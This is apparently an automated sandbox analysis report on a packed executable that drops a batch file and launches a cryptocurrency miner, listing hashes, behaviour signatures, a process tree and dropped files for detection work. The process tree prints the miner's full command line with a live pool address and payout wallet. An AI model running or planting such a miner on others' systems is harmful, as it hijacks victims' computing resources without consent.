73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 02:30

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2216	b2e.exe
3720	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3720	cpuminer-sse2.exe
3720	cpuminer-sse2.exe
3720	cpuminer-sse2.exe
3720	cpuminer-sse2.exe
3720	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3060-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 2216	3060	batexe.exe	74
PID 3060 wrote to memory of 2216	3060	batexe.exe	74
PID 3060 wrote to memory of 2216	3060	batexe.exe	74
PID 2216 wrote to memory of 5092	2216	b2e.exe	75
PID 2216 wrote to memory of 5092	2216	b2e.exe	75
PID 2216 wrote to memory of 5092	2216	b2e.exe	75
PID 5092 wrote to memory of 3720	5092	cmd.exe	78
PID 5092 wrote to memory of 3720	5092	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Users\Admin\AppData\Local\Temp\7511.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\7511.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7511.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7791.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7511.tmp\b2e.exe

Filesize
10.1MB

MD5
445ded4739f3768023ea7a1da5f8722e

SHA1
53cd962b8b6090afddb77306608c2106d3290fde

SHA256
d7b745d605dde9cb1e9adb532c92af429fa490d536c510898bcd276781eb267a

SHA512
e014818871fdb705dfd7e31c446b0088b2c457f0bc62ab6b6ffefab91906b7266115a72d3cee633c430da5abfdf680272eebca62223db1e9e6ca5cf3d5230868

Download Submit
C:\Users\Admin\AppData\Local\Temp\7511.tmp\b2e.exe

Filesize
10.8MB

MD5
c10288241417b05cfa3af55b6d93d142

SHA1
fca06679eec29c49db2f58b643e63f6e12b1f976

SHA256
2560c45e1ce27b8ac7dec7351fd1a1b3b4f48c54bfa02bf9bff9f3929b106abc

SHA512
19929272a81cd7bfff605394d3f1c49247aa18443d8d9cedec4ef990fec038d87e9a45fa4d6021cd0b6aebe4ec7c2d5d377d2f3729cc97e2c0d80e8c864a1c49

Download Submit
C:\Users\Admin\AppData\Local\Temp\7791.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
db740b16aa90711b74d18801b7e3787e

SHA1
e04fa2bf2da16c5194e3b8e2f82fb193acb5396a

SHA256
abacd409dcbae124bc5d3e2aa27c2089feef6cb4880ed2499cec7906e080bbea

SHA512
0629bb7335e667b8701903e711c9e7b83a47c835c2180fe3684dee6df01959208859890b2097b4ada7d1f89d92f76a42e7a57f63ef42744de0fc6e1a0899321d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.7MB

MD5
4ee7f16429a0e3c1077858447fd580d5

SHA1
87ac2801275601e60ace58629b900f6c48bbcc3d

SHA256
5cdb407a431b85d066d0619b122cbfdc374da9562c36341ea2ff705c789578e9

SHA512
072587299ad755b9e768df088e4a29f7e87e3af29c9e22c3f060eeaf4ceca561fa322c650b94d2ce0b1f4dde1d8d88c6d57f2594a60872f8294381b79b927877

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.9MB

MD5
b7ded6669a5e8efff152752ba067612b

SHA1
f0c563cdcafb605938db671454ea82347efcdfb4

SHA256
e7b1d5b2145d2a67975691a28ee45a45105b40310c3b106736ecdbf7667e08ba

SHA512
99121380c89568c9f5f0690fb1af596a1f8e6f8540bbf6cd54ddddea69497b4b5270a827de59229933023d131d872319ec765608f4b376a9c53620ed19b7665a

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.9MB

MD5
9008c42831ed3a73cd47a284b2ec9f2d

SHA1
924a6b7cdec3d54c97c64c08f2170b690a9afeba

SHA256
5a2e3739692dbfb011472a3feed8d8d56d8a7f594bd97b58c47e339f7fbec4fc

SHA512
23701f0c113ebeb558b24ed2ee1ea0bda9dab04f8ca32af5873f67499e51726dc4cc5ac28907ab6917787fbaa8020a2b9d92611c168bf293c01edae0fe42e940

Download Submit
memory/2216-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2216-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3060-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3720-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3720-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3720-43-0x0000000062330000-0x00000000623C8000-memory.dmp

Filesize
608KB

Download
memory/3720-44-0x0000000001150000-0x0000000002A05000-memory.dmp

Filesize
24.7MB

Download
memory/3720-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3720-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3720-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3720-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3720-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3720-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3720-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3720-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3720-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download